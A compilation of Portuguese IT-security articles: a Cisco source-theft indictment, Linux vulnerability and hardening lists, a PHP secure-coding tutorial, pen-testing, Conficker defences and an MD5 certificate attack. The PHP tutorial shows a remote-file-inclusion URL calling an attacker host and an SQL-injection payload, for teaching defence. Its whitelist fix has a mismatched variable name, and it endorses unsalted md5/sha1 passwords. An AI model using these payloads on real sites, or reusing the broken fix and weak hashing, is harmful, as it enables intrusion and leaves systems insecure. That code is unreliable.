Um sueco foi indiciado na terça-feira por ter participado no roubo do código-fonte do IOS (Internetwork Operating System), sistema operacional usado nos roteadores da Cisco, responsáveis por boa parte da infra-estrutura de internet atual.

Philip Gabriel Pettersson, 21, foi indiciado uma vez por invasão e duas vezes por apropriação indevida de segredos comerciais. Ele ainda foi indiciado em dois casos de invasão a servidores da Nasa, a agência espacial norte-americana.

Segundo a Divisão de Crimes do Departamento de Justiça dos EUA e Joseph Russoniello, promotor do Distrito da Califórnia, Petterson só pôde ser indiciado depois de uma extensa investigação do FBI, agência de investigação norte-americana.

Petterson foi identificado como “Stakkato”, hacker que teria invadido os servidores da Cisco entre 12 e 13 de maio de 2004. Outras invasões a grandes sites foram realizadas por Stakkato na mesma época.

No total, Petterson soma cinco indiciamentos e cada um deles pode render até 10 anos de prisão, mais multa de 250 mil dólares. Se o cracker for condenado em instância máxima em todos os casos, ele pode ser sentenciado a 50 anos de prisão e multa de 1,25 milhão de dólares.

O sistema IOS é o coração dos roteadores e switchers da Cisco, além de outros produtos da empresa. Em maio de 2004, partes do código-fonte do sistema operacional foram roubados e publicados em um site russo.

Na ocasião, especialistas em segurança disseram que isso poderia ser prejudicial à internet, já que crackers poderiam usar as informações para atacar os equipamentos que sustentam a rede mundial de computadores.

Fonte: http://idgnow.uol.com.br/seguranca/2009/05/06/sueco-e-acusado-de-roubar-codigo-fonte-de-roteadores-da-cisco/

Para os adeptos de plantão, este artigo não é para gerar polêmica, mas para servir de ALERTA. Muito falamos a respeito da segurança do sistema operacional Linux, mas bem sabemos que ele também tem suas vulnerabilidades. Quais? As da Microsoft parece que todo usuário Linux sabe de cor, mas e as vulnerabilidades do próprio sistema operacional Linux?

Pois é, aqui vai o alerta. Um dia escutei a frase: "o sistema operacional mais seguro é aquele que você mais domina" e tive que concordar plenamente. Pesquisando, então, sobre as vulnerabilidades do Linux, esperando encontrar pouca coisa, achei muita gente relatando seus problemas. Até que encontrei no site da SANS uma pesquisa realizada pela própria SANS junto ao FBI, e pude esclarecer essa minha dúvida. A pesquisa aborda as 20 maiores vulnerabilidades encontradas, sendo dez para servidores Windows e dez para servidores Unix.

As brechas do Linux

Abaixo estão listadas as dez maiores vulnerabilidades do Sistema Operacional Linux/Unix, traduzidas em outubro de 2003 e ainda hoje presentes:

1. BIND – O BIND é o principal serviço de ataque dos crackers. A maioria dos bugs já foram resolvidos, mas a maioria das pessoas mantém as versões mais antigas por uma questão de funcionalidade e também por não disporem de tempo para a migração.
2. RPC – O RPC é um serviço para receber chamadas de procedimentos que serão executados remotamente. É extremamente importante para a funcionalidade da rede interna, pois é utilizado para distribuição de carga, processamento distribuído, cliente/servidor etc. O NFS, que é um dos sistemas de arquivos de rede mais conhecidos e utilizados, usa diretamente o RPC.
3. Apache – Sem dúvida é um servidor web bem mais robusto que o IIS da Microsoft, mas não deixa de estar exposto à Internet. Vários ataques a sistemas operacionais *NIX ocorrem pelo Apache, principalmente para servidores com execução de scripts e permissões de acesso a programas.
4. Contas de usuários – Esta vulnerabilidade ocorre principalmente em contas com senhas fracas ou nulas. Parece ridículo, mas existem pessoas que conseguem invadir sistemas descobrindo senhas pelo método da tentativa e erro e, geralmente, as senhas são as mais óbvias possíveis. Nesses casos, não é o sistema que é violado, mas a conta do usuário. Uma vez tendo acesso ao sistema, o invasor pode se tornar bastante incômodo.
5. Serviço de transferência em ASCII – FTP e email são os programas diretamente relacionados a esses serviços. Todo o conteúdo que passa por eles sob a forma de texto puro – isto é, não criptografado, o que ocorre na maioria das instalações – pode ser capturado. Basta alguma informação ou uma senha secreta para que a porta seja aberta.
6. Sendmail – É, talvez, o pior serviço de email do *NIX, em comparação com seus próprios concorrentes. Tende a ser lento e problemático. Mas é o mais utilizado, porque é extremamente flexível. É possível implantá-lo rapidamente, por isso é a maior fonte de furos existente na comunidade. Se puder, substitua-o.
7. SNMP – Uma excelente ferramenta administrativa, principalmente para grandes empresas. Contudo, por ser um projeto baseado na comunicação com a rede, está sujeito a vulnerabilidades. O serviço é ativado por padrão nos sistemas Linux, o que causa o esquecimento por parte dos usuários.
8. SSH – É a solução ideal para acesso remoto seguro, abolindo de vez o venerável Telnet. No entanto, pode tornar-se totalmente ineficaz se não for administrado corretamente. Escolha o nível de segurança mais desejado, lembrando que ele é diretamente proporcional ao trabalho para configurá-lo. E não se esqueça de proteger as chaves privadas dos usuários!
9. Compartilhamento de arquivos – Ocorre principalmente com NIS/NFS e Samba mal configurados. Pode comprometer a segurança, abrindo brechas para ataques externos.
10. SSL – Embora seja extremamente eficaz para criar conexões seguras entre cliente/servidor, o SSL permite o acesso ao servidor por parte do cliente. Pode se tornar uma porta para o acesso de intrusos.

Depois dessa lavada de vulnerabilidades, vale deixar alguns comentários. A vulnerabilidade não está necessariamente relacionada ao uso desses serviços, mas está muito relacionada a sua má configuração.

Não confie demais na sua segurança. A desconfiança é o melhor aliado de um bom administrador.

Como diminuir a vulnerabilidade

Um sistema bem administrado diminui enormemente a probabilidade de invasão. Segundo as vulnerabilidades aqui discutidas, vamos a algumas dicas de segurança:

1. BIND – Procure adotar uma política de mascaramento das informações.
2. RPC – Use o serviço somente se necessário.
3. Apache – Ajuste bem as configurações. Habilite somente scripts e programas com destino correto e que não comprometam de forma alguma o sistema.
4. Contas de usuários – Evite criar contas de usuários em demasia, principalmente contas para acesso multiusuário. Adote uma política de senhas seguras e jamais permita o acesso a serviços e contas de usuários sem senha.
5. Serviços ASCII – Toda comunicação pode e deve ser feita de forma criptografada. Arquivos ASCII são muito vulneráveis e todos podem ter acesso ao seu conteúdo facilmente.
6. Sendmail – Atualize e configure corretamente. De preferência, gaste um pouco de tempo e implemente outro servidor.
7. SNMP – Não se esqueça de estabelecer as regras de utilização do serviço. Não use se não for necessário.
8. SSH – Muitíssimo bom, mas configure-o da forma mais restrita possível. Restrinja o acesso somente a usuários do sistema. Se possível, restrinja o acesso ao servidor X. Controle o acesso às chaves privadas. Bloqueie senhas em branco, pois elas se tornam uma arma na mão dos invasores.
9. Compartilhamento de rede – Compartilhe somente o que for necessário e restrinja ao máximo o acesso dos usuários ao compartilhamento. De preferência, use alguma ferramenta de autenticação.
10. SSL restritiva é a melhor opção quando não puder ficar sem ela.

Dicas gerais de segurança

• Execute somente os serviços necessários para a operação da sua rede. Serviços que não são muito utilizados caem no esquecimento do administrador.
• Verifique se os serviços estão rodando com privilégios de root. Essas permissões geralmente causam os maiores furos na segurança. Se não for necessário, desabilite essa opção.
• Verifique se os serviços estão configurados adequadamente à sua rede. Tutoriais e How-To’s geralmente indicam o caminho de como configurar, mas na sua maioria não são muito específicos.
• Estabeleça uma política de segurança para a sua rede, como serviços de compartilhamento disponíveis, política de senhas etc.
• Firewall. Estabeleça um filtro de tudo que entra na sua rede. De preferência feche todas as portas que não são necessárias para o funcionamento do servidor.
• Evite serviços de comunicação p2p, como servidores de músicas, vídeos e até chats e mensagens.
• Como última dica: monitore. Diz o ditado que “o boi só engorda aos olhos do seu dono”. Se você cuida da sua rede, dificilmente terá problemas de vulnerabilidade.

Fonte: http://www.linuxmagazine.com.br/materia/o_linux_e_seguro

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

Cuidados com a URL - Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');
 
// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
$arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL - Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php
// Formato da URL:
//  http://www.meusite.com.br/produtos.php?id=12
 
// Salva o parâmetro da URL numa variável
$produto = $_GET['id'];
 
// Monta a consulta MySQL
$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";
 
// Executa a query
$query = mysql_query($sql);
 
// Salva o resultado (em formato de array) em uma variável
$resultado = mysql_fetch_assoc($query);
 
?>

A sua consulta ao MySQL ficaria da seguinte forma:

SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='

Agora a sua query MySQL fica assim:

SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
$produto = (int)$_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

$parametro = mysql_real_escape_string($_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada. Fonte: http://imasters.uol.com.br/artigo/12318/php/principais_falhas_de_seguranca_no_php

Pesquisas indicam que o grande número de ataques ocorre através de vulnerabilidades apresentadas em aplicações web e que a grande porcentagem desses ataques é realizada via protocolo http/S ou portas que estão freqüentemente expostas às comunidades web. Com esses fatos, é essencial que as corporações estejam em alerta para proteger suas aplicações web.

Como os aplicativos web tornam-se cada vez mais complexos, enormes quantidades de dados sigilosos, incluindo informações pessoais e financeiras são trocadas e armazenadas. E os consumidores esperam que estas informações sejam mantidas de maneira segura e sigilosa.

Existem dois métodos para descobrir vulnerabilidades em um aplicativo web: por meio de ensaio e invasão manual ou usando ferramentas automatizadas de varredura e análise estática.

A técnica de testes de segurança de invasão manual é um dos mais antigos métodos utilizados para descobrir vulnerabilidades em aplicações. Á medida em que a frequência dos ataques tem crescido e a complexidade das aplicações aumentado surgem cada vez mais especialistas em testes de invasão, ou "pen". O único objetivo destes profissionais consiste em encontrar e explorar problemas de segurança em aplicações web.

No final dos anos 1990, as empresas começaram a desenvolver técnicas para automatizar estes testes. Nessa época, a web tinha se tornado mais madura e navegadores estavam começando a ser capazes de lidar com as complexidades necessárias para a dinâmica das aplicações. O objetivo destas ferramentas foi antecipado para automatizar o processo de realização de varredura no aplicativo, injetar falhas e descobrir vulnerabilidades.

As ferramentas automatizadas são capazes de cruzar informações, analisá-las e testar as aplicações de uma maneira mais eficiente do que o teste de invasão manual. Estas ferramentas têm amadurecido e a maioria das vulnerabilidades existentes hoje já está endereçada e é bem resolvida. Além disso, como os aplicativos web continuam a crescer em tamanho, o teste manual está ficando cada vez mais difícil. Em muitas organizações ele se torna praticamente impossível de ser aplicado, pois seria necessária a dedicação de muito tempo, esforço físico e dinheiro.

Embora as ferramentas automatizadas e testadores qualificados possam navegar em uma aplicação web, somente o testador é capaz de compreender a lógica por trás do fluxo de trabalho da aplicação. Este entendimento permite ao teste manual subverter a lógica do negócio. Por exemplo, um aplicativo pode direcionar o usuário a partir do ponto A ao ponto B e ao ponto C, onde o ponto B é uma validação de segurança. A revisão manual do aplicativo pode mostrar que é possível ir diretamente a partir do ponto A ao ponto C, ignorando totalmente a validação de segurança.

Tanto os testes manuais quanto os automatizados são métodos exaustivos de identificação de vulnerabilidades em aplicações web. Cada método tem suas forças e fraquezas inerentes e ambos podem ser usados para descobrir vulnerabilidades críticas de segurança.

As ferramentas automatizadas nunca devem substituir completamente os testes manuais. No entanto, se usadas corretamente, estas ferramentas podem ser usadas para encontrar uma ampla gama de técnicas de vulnerabilidades, economizando tempo e dinheiro. Sofisticadas organizações utilizam a combinação correta de ferramentas automatizadas e ensaios de invasão manual para proporcionar uma melhor segurança do aplicativo web.

Fonte: http://www.decisionreport.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=4141&sid=15

O mundo foi afetado de maneira e dimensão poucas vezes vista em outras infecções por vírus de computador. Empresas pararam, ou ainda estão parando, por dias e acho que não será fácil reestabelecer os serviços de TI plenamente tão cedo. Tudo por causa do vírus Downad, também conhecido como Conficker e Kido. Pela sua versatilidade, métodos de infecção variados e dificuldade de remoção, tem sido um pesadelo para as corporações.

Elencamos diversas providências que devem ser tomadas para reduzir ou mesmo evitar que sua rede seja invadida por este tipo de infecção, que será muito mais comum daqui em diante:

- Atualizações de segurança devem ser feitas regularmente e de maneira efetiva. Não adianta fazer só quando se instala o computador ou ser deixada a cargo do usuário. Deve ser feita de maneira automática e acompanhada de perto por um responsável atentamente. A Microsoft possui inclusive um produto gratuito chamado WSUS que funciona muito bem. Não se esqueça de nenhuma máquina.

- Usuários não devem ser administradores de seus computadores. Como dizia o tio do Homem-Aranha: "Grandes poderes trazem grandes responsabilidades". Se o usuário for administrador, pode comprometer a segurança de seu computador se não souber o que está fazendo. Isso inclui destruir partes importantes do sistema e instalar componentes maliciosos no sistema operacional.

- O usuário não deve conhecer a senha de administrador local do computador. Pelos mesmos motivos do item anterior.

- Devem ser definidas senhas de administrador diferentes para cada computador da rede. Senhas comuns facilitam a proliferação de vírus. NUNCA DEIXE A SENHA DE ADMINISTRADOR EM BRANCO!

- O acesso à internet não dever ser fornecido aos usuários de maneira indiscriminada. Além de abrir mais portas para conteúdos maliciosos, se um usuário está acessando a rede provavelmente não está trabalhando. Devem ser liberados apenas sites inofensivos como sites de notícia, bancos e sites de utilidade pública. Acessos à internet devem ser bem justificados para evitar que usuários desavisados comprometam a segurança da rede.

-Invista em bons antivírus. Em corporações com mais de 50 computadores, não adianta usar a versão grátis do AVG ou Avast. Você precisará saber se o antivírus está atualizando, se não foi desabilitado pelo usuário (parece estúpido, mas tem alguns usuários que fazem este tipo de coisa!) e iniciar um scan em todos os computadores. Os melhores antivírus do mercado possuem também firewall e IDS que ajudam a farejar a rede por possíveis ameaças.

- Redes planas são uma ameaça à segurança de seu ambiente. Redes em que todos acessam todos multiplicam enormemente a probabilidade de uma ameaça se espalhar muito rapidamente. Quanto maior a rede, maior o risco. O melhor é segregar a rede em pedaços muito pequenos. Se possível, cada desktop deve acessar somente os servidores da sua rede. Compartilhamento de arquivos e impressoras entre micros deve ser banido. Pode ser usado o firewall do antivírus para bloquear o acesso a partes não autorizadas da rede, mas se você conseguir bloquear fisicamente, por hardware, melhor.

- Padronize seu hardware e software. Ter todos os sistemas operacionais desde Windows 95 até Windows Vista, em todo o tipo de computador desde Pentium II até Core 2 Duo, só complica a administração e consequentemente a segurança do ambiente.

- Invista em pessoal. Uma equipe de infra-estrutura sobrecarregada e mal-treinada não vai conseguir dar conta de proteger sua rede. Invista em treinamento, tenha uma equipe do tamanho adequado para a sua corporação e acompanhe de perto as ações de prevenção necessárias.

- Tenha um plano de contingência. De preferência testado ;-). Em caso de problemas, saiba quais são as áreas que precisarão ter os serviços reestabelecidos mais rapidamente e quais as ações que deverão ser tomadas para isso acontecer. A falta dele implica em demora ainda maior para a normalização do ambiente.

- Instale Linux no lugar de Windows. Se sua corporação não usa softwares que só rodam em Windows esta é, sim, uma opção a ser considerada. Uma migração para Linux, desde que bem feita, pode reduzir muito as ameaças de segurança à sua empresa e de cabo pode economizar muito com licenças de software. Porém você provavelmente precisará investir mais em treinamento de pessoal.

Lembre-se de que redundância de proteção é melhor para a segurança do seu ambiente.

Fonte: http://imasters.uol.com.br/artigo/11805/seguranca/conficker_o_que_muda_depois_do_super-virus/

A pequena imagem de um cadeado no canto dos navegadores não pode mais indicar certamente que uma conexão é segura. É o que mostrou uma nova pesquisa divulgada nesta terça-feira (30) no congresso de tecnologia 25C3, em Berlim.

Com testes, um time de pesquisadores do Centrum Wiskunde & Informatica (CWI), da Califórnia, e da Eindhoven University of Technology, da Holanda, conseguiu quebrar a segurança de um site confiável usando uma rede conectada de 200 consoles do videogame PlayStation 3.

Com o equipamento, eles demonstraram que é possível enganar o navegador caso o site use um antigo algoritmo de criptografia, chamado MD5. Ele é usado para embaralhar o conteúdo de uma mensagem --como uma senha, por exemplo-- antes de enviá-la, para que somente o destinatário possa lê-la.

Quando um usuário visita um site cujo endereço começa com "https", geralmente vê um cadeado fechado no canto do navegador, que indica que o site emprega um certificado digital lançado por uma autoridade confiável que opera na rede. O navegador verifica o certificado, usando algum algoritmo, incluindo, em alguns sites, o MD5.

Foi em um site usando este algoritmo que os pesquisadores conseguiram driblar a segurança. O procedimento, no entanto, durou três dias para ser completado, até que pudessem identificar o conteúdo da mensagem enviada em teste.

Se fosse usado apenas um computador normal, a tática usada poderia demorar cerca de 30 anos para alcançar o mesmo resultado, gerando dois falsos certificados.

Para muitos especialistas, mesmo que a quebra realizada pelos pesquisadores seja bastante difícil de conseguir, os resultados do teste --mostrados no congresso da 25C3 em Berlim-- podem contribuir para que as conexões fiquem mais seguras.

Grandes empresas que desenvolvem navegadores, como a Microsoft e a Mozilla, por exemplo, já foram informadas da vulnerabilidade dos sistemas de criptografia que usam o MD5. Com isso, elas podem adaptar seus programas para indicar sites que usam o algoritmo vulnerável.

Um dos objetivos da pesquisa foi justamente alertar as autoridades que expedem os certificados para que não usem mais o sistema antigo e migrem para outros algoritmos alternativos e mais modernos, como o SHA-2.

Fonte: http://www1.folha.uol.com.br/folha/informatica/ult124u484949.shtml

A importância de serviços antimalware e antispam por correio eletrônico ou mensagens instantâneas vai crescer e representar 60% do mercado de segurança.

A quantidade de aplicações de segurança para serviços como os baseados no modelo de cloud computing se multiplicará por três até 2013, segundo o Gartner.

Outros estudos da empresa mostram ainda que o uso de e-mail por cloud computing vai subir 12% até 2012 e que o impacto do cloud computing é semelhante ao do e-business.

A consultoria assegura que 20% dos investimentos em ferramentas de segurança para mensagens, como os serviços antimalware e antispam para correio eletrônico ou mensagens instantâneas, estão atualmente seguindo um novo modelo, muito similar ao do software como serviço (SaaS). Sua importância irá crescer até representar 60% de mercado, de acordo com as previsões do Gartner.

Entre as vantagens das aplicações empresariais entregues em baixa demanda, destaca-se a capacidade de permitir que as barreiras das redes corporativas dificultem o acesso dos trabalhadores móveis aos dados empresariais que requerem para realizar melhor suas tarefas de qualquer lugar.

No entanto, o crescente uso de tais serviços obrigará às equipes de segurança de TI das companhias estabelecer maiores controles entre os trabalhadores móveis e os serviços baseados em cloud.

“Embora se requeiram controles de segurança perimetral para proteger as funções de centro de dados que mantém a empresa e a grande parte dos usuários empresariais não móveis, serão necessários novos enfoques para dar segurança a parte dos serviços de TI baseados em cloud”, afirma John Pescatore, vice-presidente e analista do Gartner.

Fonte: http://computerworld.uol.com.br/seguranca/2008/07/17/seguranca-baseada- em-cloud-computing-vai-triplicar-ate-2013/